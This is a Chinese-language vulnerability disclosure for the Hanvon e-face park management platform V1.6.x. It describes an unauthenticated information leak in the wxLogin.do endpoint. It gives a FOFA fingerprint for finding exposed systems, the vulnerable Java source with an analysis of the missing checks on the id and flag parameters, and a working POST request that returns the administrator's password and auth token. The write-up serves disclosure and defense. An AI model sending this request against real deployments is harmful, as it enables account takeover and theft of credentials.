漏洞简介
汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 wxLogin.do 接口存在信息泄露漏洞,未授权攻击者可利用该漏洞获取系统敏感信息。
影响版本
V1.6.x
fofa语法
icon_hash="1380907357"
漏洞分析
直接看 wxLogin 的实现
@ResponseBody
@RequestMapping({"/wxLogin.do"})
public MethodResult wxLogin(@RequestParam("openid") String openid, @RequestParam("username") String username, @RequestParam("password") String password, @RequestParam("flag") boolean flag, @RequestParam("id") Long id) throws Exception {
UserTpm cUser = null;
String newUsername = URLDecoder.decode(username, "utf-8");
if (flag) {
cUser = (UserTpm)this.userAsm.getUser(id).getResult();
cUser.setOpenid(openid);
if (cUser.getBlacklist() != null && cUser.getBlacklist() || cUser.getState() != null && cUser.getState() <= 0) {
return MethodResult.errorResult("用户已被禁止登录");
}
} else {
if (Utils.isEmpty(newUsername) || Utils.isEmpty(password)) {
return MethodResult.errorResult("参数错误");
}
if (username.equalsIgnoreCase("ADMIN")) {
return MethodResult.errorResult("超级管理员禁止登录");
}
UserTpm user = null;
try {
user = this.userAsm.getAttendServiceUser(newUsername, this.strUtil.getSHAString(this.strUtil.md5(password)));
} catch (Exception e) {
e.printStackTrace();
return MethodResult.errorResult("系统系统异常");
}
if (user == null) {
return MethodResult.errorResult("用户名/密码不匹配");
}
if (user.getBlacklist() != null && user.getBlacklist() || user.getState() != null && user.getState() <= 0) {
return MethodResult.errorResult("用户已被禁止登录");
}
cUser = (UserTpm)this.userAsm.getUser(user.getId()).getResult();
cUser.setOpenid(openid);
this.setOpenId(cUser);
}
MethodResult<List<ApproverTpm>> approver = this.approverAsm.getApproverByUserId(cUser.getId());
boolean isApprover = approver != null && approver.isSuccess() && approver.getResult() != null && ((List)approver.getResult()).size() > 0;
boolean isAgent = false;
if (!isApprover) {
MethodResult<List<ProcessAgentTpm>> agent = this.agentAsm.getApproverByAgentId(cUser.getId());
isAgent = agent != null && agent.isSuccess() && agent.getResult() != null && ((List)agent.getResult()).size() > 0;
}
cUser.setApprover(isApprover || isAgent);
for(String tk : this.tokenHash.keySet()) {
UserTpm u = (UserTpm)this.tokenHash.get(tk);
if (u != null && u.getId().equals(cUser.getId())) {
this.tokenHash.remove(tk);
break;
}
}
String token = cUser.getEmployId() + UUID.randomUUID().toString();
try {
token = this.strUtil.getSHAString(token);
} catch (Exception var15) {
}
token = token.toUpperCase();
try {
this.wsTokenAsm.saveToken(cUser.getId(), cUser.getEmployId(), token, 1);
} catch (Exception e) {
e.printStackTrace();
return MethodResult.errorResult("系统系统异常");
}
this.tokenHash.put(token, cUser);
cUser.setToken(token);
return MethodResult.successResult(cUser);
}
跟进 setOpenId 方法
private MethodResult setOpenId(UserTpm user) {
MethodResult result = null;
UserTpm targetUser = null;
try {
MethodResult<UserTpm> userResult = this.weixinAsm.editUserOpenId(user);
targetUser = (UserTpm)userResult.getResult();
if (!userResult.isSuccess() || targetUser == null) {
throw new Exception("添加openid失败!");
}
result = MethodResult.successResult("添加openid成功!");
} catch (Exception e) {
String msg = "登陆失败!原因:" + e.getLocalizedMessage();
result = MethodResult.errorResult(msg);
}
return result;
}
当flag为true时,它直接使用id获取用户,然后设置openid。但是,这里并没有验证传入的openid是否合法,也没有验证id是否属于当前用户。也就是说,只要知道一个用户的id,就可以通过设置flag=true,并传入该id和任意openid,就可以修改该用户的openid,并且获取到该用户的详细信息(包括token)。
漏洞复现
使用id为1的管理员来测试
POST /manage/m/wxLogin.do?openid=1&username=admin&password=1&id=1&flag=1 HTTP/1.1
Host: hanvon.mrxn.net
Content-Type: application/x-www-form-urlencoded

可以获取到系统指定id(管理员)的密码以及可用于头部认证的token


